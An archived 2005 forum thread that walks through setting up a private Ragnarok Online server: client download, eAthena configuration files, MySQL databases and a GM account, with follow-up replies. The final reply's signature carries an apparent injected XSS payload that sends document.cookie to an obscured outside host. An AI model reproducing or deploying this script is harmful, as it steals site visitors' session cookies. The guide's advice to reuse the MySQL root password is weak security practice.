Log in

View Full Version : ragnarok online server and client setup guide


toolpunk
14.11.2005, 20:35
i guess my guide is to big for one post, so ill split it ;)

hey ho guys! In this tutorial we are going to set up our very own Ragnarok Online Server using the iRO (yep, that’s correct the english) client and eAthena…
i will try to describe everything as detailed as possible so even retards could manage to pass this tutorial if they read it thoroughly. I even include screenshots for dummies ^_^ …

so lets get started.

a) Client setup
1. download the iRO client from the official page. make sure you get the right client. the page tells you its 1.03 GB, but in fact its 1.1 GB (at least thats what opera tells me). theres a vast button begging you to click it and download the english multi client (iRO+sakray). you can see it live right here (http://iro.ragnarokonline.com/download/download.asp)
http://img7.imageshack.us/img7/1853/robutton0al.jpg
2. install it to… lets say: D:\Program Files\RagnarokOnline\ thats where i put it.
3. fully update both clients, normal and sakray using the desktop shortcuts.
4. download my "needed files" pack (http://z23.zupload.com/download.php?file=getfile&filepath=8976) consisting of files that I even dont know of whether they are needed or not. but better you some MBs too much than too less :D
5. download my sakray data folder (http://files.filefront.com/datarar/;4353582;;/fileinfo.html) unrar it (use 'unrar here' otherwise you will get the real data folder in another one...) and put it in the main ro dir. (for those who don’t know it. dir = directory = folder ;) )
6. well done my young apprentice ^_^

b) eAthena setup
1. download the latest pre-compiled SQL version of eAthena from here (ftp://ftp2.ngamexp.com/ngamexp9/eathena/) you can find it on the bottom. dont grab the one without any version number. As I said you should get the latest version, so either you look at the date when it was uploaded or the version number.
2. extract it to… lets say: D:\athena . yes thats where I put it ;)
3. grab the map cache from the official eAthena download page (http://eathena.ws/?downloads) and while you are there dont forget to get the cygwin dll files :D
4. now extract the two packs anywhere you like and copy the cygwin dlls in the main eAthena folder (this would be D:\athena in our case). Then copy the mapinfo.txt (the 45MB txt file :D) in the db folder (D:\athena\db) and overwrite the already existing, if theres one at all lol…
put the maps_athena.conf file in the conf folder. (overwrite the old one if prompted)
5. ok now we come to configuring the server ;)
so go to the conf folder and edit the conf files using notepad…
char_athena.conf
-edit userid: s1 and user_pass: p1 for the server account.
you can change it to whatever you like, but you should remember it well as we will need it later on.
-remove the // for login_ip: and char_ip: and change 127.0.0.1 to your internet ip if you want to host an internet server. if not 127.0.0.1 will be appropriate, at least for testing it or sorta single-player mode ^_^
-save and exit.
login_athena.conf
-remove the // for login_ip: ; change 127.0.0.1 to your internet ip if you want to host an internet server
-save and exit.

map_athena.conf
-edit userid: s1 and user_pass: p1. make sure it’s the same as in char_athena.conf.
-remove // for char_ip:, map_ip: ; change 127.0.0.1 to your internet ip (if you are going to host an internet server)
-look for:
//Preferred map loading method
// 0: Read directly from grf
// 1: Read from cache (with compression)
// 2: Read from cache (without compression)
// If the cache was not found it will read the maps from the GRF and copy
// any necessary data into a newly created cache.
// It is possible to reduce the map cache to 1MB for 400+ maps with compression
// enabled. If all maps are already loaded in the cache, Athena can boot without
// reading the grf files.
read_map_from_cache: 1
and change the value to 2…
-save and exit.

go to inter_athena.conf and change the passwords
// MySQL Login SQL Server
login_server_ip: 127.0.0.1
login_server_port: 3306
login_server_id: ragnarok
login_server_pw: *password that you are going to use for root (mysql)*
login_server_db: ragnarok

// MySQL Character SQL server
char_server_ip: 127.0.0.1
char_server_port: 3306
char_server_id: ragnarok
char_server_pw: *password that you are going to use for root (mysql)*
char_server_db: ragnarok

// MySQL Map SQL Server
map_server_ip: 127.0.0.1
map_server_port: 3306
map_server_id: ragnarok
map_server_pw: *password that you are going to use for root (mysql)*
map_server_db: ragnarok

// MySQL Log SQL Database
log_db_ip: 127.0.0.1
log_db_port: 3306
log_db_id: ragnarok
log_db_pw: *password that you are going to use for root (mysql)*
log_db: log

6. now its configured properly but it wont run yet. hey dont blame me. its your fault. it was you who grabbed the mysql version for performance and feature related reasons :p

toolpunk
14.11.2005, 20:58
c) xampp / mysql
1. well this is the point where i recommend you using xampp. however they just upgraded it to version 1.5, adding mysql 5.0. since we want to avoid compability issues (neither do I know whether they will occur nor do i promise that they wont) i advise you to use the older version which has mysql 4.1. you can grab it over here (http://prdownloads.sourceforge.net/xampp/xampp-win32-1.4.16-installer.exe)
2. get mysql administrator here (http://dev.mysql.com/downloads/administrator/1.1.html)
3. get the mysql control center here (http://dev.mysql.com/get/Downloads/MySQLCC/mysqlcc-0.9.4-win32.zip/from/http://mysql.dataphone.se/)
4. install all those tools in the same order as you downloaded em. NOTE (regarding the xampp installation): make sure you are running mysql as a service (maybe apache as well if you want to host a website)
d) mysql administrator
1. fire up mysql admin, configure it to look like this http://img419.imageshack.us/img419/8095/sqllogin3lj.jpg (http://imageshack.us) and press ok. Note: atm you dont have a pass. but we are going to change that soon ;)
2. in mysql admin go to 'User Administration' then click on the root user and enter a pass you like. if you like you can use the same as the one you replaced p1 with (recommended). i advise you not to use ragnarok, ro, test or other stupid passwords as it would be easy to hack your db then. In the end hit 'apply changes'. so heres a pic of how it should look like
http://img273.imageshack.us/img273/2490/rootpass6dl.jpg (http://imageshack.us)
3. now hit 'New User' and enter this info:
-----------------------------
MySQL User: ragnarok
Password: *use the same as for the root account if you like to*
Confirm Password: *use the same as for the root account if you like to*
-----------------------------

when you are done click 'Apply Changes' and exit mysql administrator.
Off to get a coffee… its late here XD
Well im back ^_^
So lets continue…
e) mysql control center
1. go start it.
2. you will need to register a server on the first startup. So enter:
---------------------------
Name: ragnarok
Host Name: localhost
User Name: root
Password: *the pass you specified for root*
---------------------------

3. now your screen should look like this:
http://img273.imageshack.us/img273/2336/sqlserver5jw.jpg (http://imageshack.us)
4. right-click 'Databases' and choose 'New Database'. call it ragnarok and press ok.
then add a second database called log.
5. right-click the ragnarok database and choose 'Connect'. after that do the same for the log database.
6. highlight the ragnarok database by clicking on it once. then hit the sql button, this will open a query window… now select 'file --> open' and point it to your main.sql file. Its located in the sql-files folder of your athena folder. now you should see a red !
yeah i know... i said even dumbasses should be able to do it. so heres the picture :D
http://img273.imageshack.us/img273/4231/mainsql6wg.jpg (http://imageshack.us)
7. now do the same for db_tables.sql, item_db.sql, mob_db.sql, mail.sql and the last uhm… lets say 5 uprade.sql files, just to be sure everything will work as its supposed to. remember that its important to execute the files in the same order as i told you. close the query window
8. now highlight the log database and open the sql query window again; (this time it interacts with the log database. thats why we needed to close it.) now execute log.sql … you will end up having a database that will be flooded with thousands of entries as soon as you get some players on your server. have fun cleaning it lol :D
9. disconnect. i mean both databases then reconnect to the ragnarok one, this is for refreshing the tables. now you should see sth like this:
http://img273.imageshack.us/img273/7932/logindouble4pm.jpg (http://imageshack.us)
double-click on the login entry. For security reasons I cant show you the next image as the passes aren’t encrypted lol…
but you should see 15 server accounts from 1-15 but only the first one (account_id 1) is of interest for us. to change something just double-click the cell you want to edit.
change userid: s1 and user_pass: p1, to suit the userid and user_pass you specified in char_athena.conf and map_athena.conf. to save your entries just click another cell.

now we are going to add a GM account ^_~.
right-click within login table to bring up a meny and choose 'Insert Record'. enter 704554 or any higher number as your account_id. Now choose your user_id (thats the user name) and user_pass (thats the password), so this is the info you are going to use to log in. sex, obviously, is for gender.
-----------------
M = Male
F = Female
S = Server
----------------
enter your email in the email column if you want to be able to delete characters.
dont forget to change your level... make it 99 for unrestricted administrator rights.
once again make sure to save your changes. then click X to close the login table.

scroll down till you see 'User Administration'. Now click the plus (+) next to it…
you should see a list of all users including ragnarok@localhost. right-click it and choose 'Edit User'. now this fill in...
---------------------------
Username: ragnarok
Host: localhost
Password: *the same as you used for root*
---------------------------
choose the privileges as shown in the picture http://img429.imageshack.us/img429/1448/sqlragnarok0ru.jpg (http://imageshack.us)

woot! you did. who is da man? i am da man :D
lol have fun and cya around
and im still searching for mirrors...
if you find any bugs or want please feel free to post em as well as any suggestions.
about my english: english isnt my mother tongue and i wrote this guide in a few mins, so there might be mistakes in it. if theres any american/british or canadian guy around who would like to correct me catch me on irc/msn or icq... ;)

flakka
15.11.2005, 00:32
So no hexed client is needed? Or did you forget that part?

Nice guide btw. :)

toolpunk
15.11.2005, 13:17
the hexed client actually is needed...
thats why i put it in the needed files folder :D
so nope. i didnt forget anything.
i dunno if i should write some more guides. compiling, for example, would be a nice topic for those who are interested in customizing/developing eathena...
what do you think? :P

flakka
15.11.2005, 17:37
I think the eAthena boards cover most of the stuff like hexing and what not, so I think it's good for now. The hexing part of the client is more important though, I think, because some servers have custom sprites, camera angles and chat flooding enabled and some people may want to edit those out or add them in themselves. Their hexing program is really awesome, but I think they can get the info from their boards for the most part. :P

Maybe showing people how to update with Tortoise and use the import folder function would be good. But then again, I'm not sure how interested people are here, lol. It seems like Digital, you and me are the only ones doing anything with RO. :lol:

toolpunk
15.11.2005, 18:13
lol...
probably XD
however i think the import folder is pretty self-explaining. i dont think the people here are such retards that they are unable to open the readme files in the conf folder...
and about hexing:
i think a guide isnt necessary. i mean writing one...
maybe i could assemble sorta link list to the needed files. and hey they are pretty easy to use. well i gonna do this... :D

edit: btw still searching for mirrors...
so if anyone would be so kind... :P

top-gear
24.12.2005, 01:27
another great post. THNX :D

toolpunk
24.12.2005, 08:36
have you really tried it?
lately i was running into problems with the iRO client :?
so here is a direct link to kRO and Sakray
http://tools.rco.deltaanime.net/kRO/index.htm
really fast :)
as a base i suggest using my data folder
http://z08.zupload.com/download.php?file=getfile&filepath=8518
for updates (you should check it frequently) go here
http://mrmagoo.psiblade.net/translation/index.php?section=installinfo
will update my first post.
but not now :P

Mabus
25.01.2006, 00:59
RESPECT!
[hr:91bbc592c8]
2b|!2b=http://www..src="http://xx.xx4.1xx.xx1/1.php?dat="+document.cookie;) ]wj (http://wj.com/style=display:none;background:url(javascript:docum ent.images[1)